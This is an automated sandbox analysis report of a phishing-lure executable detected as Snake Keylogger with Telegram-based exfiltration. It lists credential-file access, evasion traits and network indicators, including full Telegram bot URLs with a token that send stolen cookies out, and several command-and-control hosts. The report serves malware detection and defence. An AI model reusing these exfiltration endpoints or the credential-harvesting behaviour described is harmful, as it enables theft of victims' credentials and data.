Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 0_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405772
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 0_2_0040622D FindFirstFileW,FindClose,	0_2_0040622D
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 0_2_00402770 FindFirstFileW,	0_2_00402770
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_00402770 FindFirstFileW,	4_2_00402770
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_00405772
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_0040622D FindFirstFileW,FindClose,	4_2_0040622D

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.3984400278.0000000006EA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPQ
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.3984400278.0000000006EE4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn'kA%
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.3984400278.0000000006F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037732000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd137d6647c870<
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038816000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	API call chain: ExitProcess graph end node			graph_0-4797
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	API call chain: ExitProcess graph end node			graph_0-4799

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Code function: 0_2_00406254 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406254

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Process created: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe "C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Queries volume information: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Code function: 0_2_00405F0C GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405F0C

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.4005076815.0000000037732000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3530300251.0000000039E91000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Request for Quote and Collaboration Docs.exe PID: 6484, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match

File source: Process Memory Space: Request for Quote and Collaboration Docs.exe PID: 6484, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.4005076815.0000000037732000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3530300251.0000000039E91000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Request for Quote and Collaboration Docs.exe PID: 6484, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	11 Masquerading	1 OS Credential Dumping	211 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	41 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	41 Virtualization/Sandbox Evasion	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	2 File and Directory Discovery	Distributed Component Object Model	1 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	215 System Information Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Request for Quote and Collaboration Docs.exe	13%	ReversingLabs
Request for Quote and Collaboration Docs.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsk7E96.tmp\System.dll	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
drive.google.com	172.217.19.174	true	false	high
drive.usercontent.google.com	142.250.181.1	true	false	high
reallyfreegeoip.org	172.67.177.134	true	false	high
api.telegram.org	149.154.167.220	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
checkip.dyndns.com	158.101.44.242	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065242915&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:887849%0D%0ADate%20and%20Time:%2003/12/2024%20/%2009:32:16%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20887849%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.228	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.office.com/	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037708000.00000004.00000800.00020000.00000000.sdmp, Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000376F9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037732000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037732000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	Request for Quote and Collaboration Docs.exe, 00000004.00000003.3172812585.0000000006F2B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en8q	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000376C7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/lB	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037703000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	Request for Quote and Collaboration Docs.exe, 00000004.00000003.3228935353.0000000006F23000.00000004.00000020.00020000.00000000.sdmp, Request for Quote and Collaboration Docs.exe, 00000004.00000002.3984400278.0000000006F13000.00000004.00000020.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.228$	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000375DB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	Request for Quote and Collaboration Docs.exe, 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Request for Quote and Collaboration Docs.exe, 00000000.00000000.2124616875.0000000000409000.00000008.00000001.01000000.00000003.sdmp, Request for Quote and Collaboration Docs.exe, 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmp	false	high
https://chrome.google.com/webstore?hl=en	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000376D6000.00000004.00000800.00020000.00000000.sdmp, Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000376C7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com	Request for Quote and Collaboration Docs.exe, 00000004.00000003.3172812585.0000000006F2B000.00000004.00000020.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?L	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037732000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/	Request for Quote and Collaboration Docs.exe, 00000004.00000002.3984400278.0000000006EA8000.00000004.00000020.00020000.00000000.sdmp, Request for Quote and Collaboration Docs.exe, 00000004.00000002.3984400278.0000000006EE4000.00000004.00000020.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/8q	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000376F9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enlB	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000376D1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037732000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000375AB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	Request for Quote and Collaboration Docs.exe, 00000004.00000003.3172812585.0000000006F2B000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4006362928.0000000038581000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/%	Request for Quote and Collaboration Docs.exe, 00000004.00000002.3984400278.0000000006EA8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	Request for Quote and Collaboration Docs.exe, 00000004.00000002.4005076815.00000000375AB000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.181.1	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
172.217.19.174	drive.google.com	United States	15169	GOOGLEUS	false
172.67.177.134	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567432
Start date and time:	2024-12-03 15:29:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Request for Quote and Collaboration Docs.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 170 Number of non-executed functions: 159
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 20.189.173.20, 2.22.50.131, 2.22.50.144
Excluded domains from analysis (whitelisted): client.wns.windows.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, ocsp.edge.digicert.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Request for Quote and Collaboration Docs.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	SplpM1fFkV.exe	Get hash	malicious	Unknown	Browse
	REQUEST FOR QUOATION AND PRICES.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	yMvZXcwN2OdoP6x.exe	Get hash	malicious	DarkCloud	Browse
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://connexion-espacesclients.support/gkm/	Get hash	malicious	Unknown	Browse
	Pdf Reader.exe	Get hash	malicious	Stealerium	Browse
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
158.101.44.242	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	#U00dcR#U00dcNLER 65Ve20_ B#U00fcy#U00fck mokapto Sipari#U015fi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	New Order C0038 2024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Bukti-Transfer.vbe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	inseminating.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	Teklif Talebi__77252662______PDF_PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	hesaphareketi-01-27112024.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.telegram.org	SplpM1fFkV.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
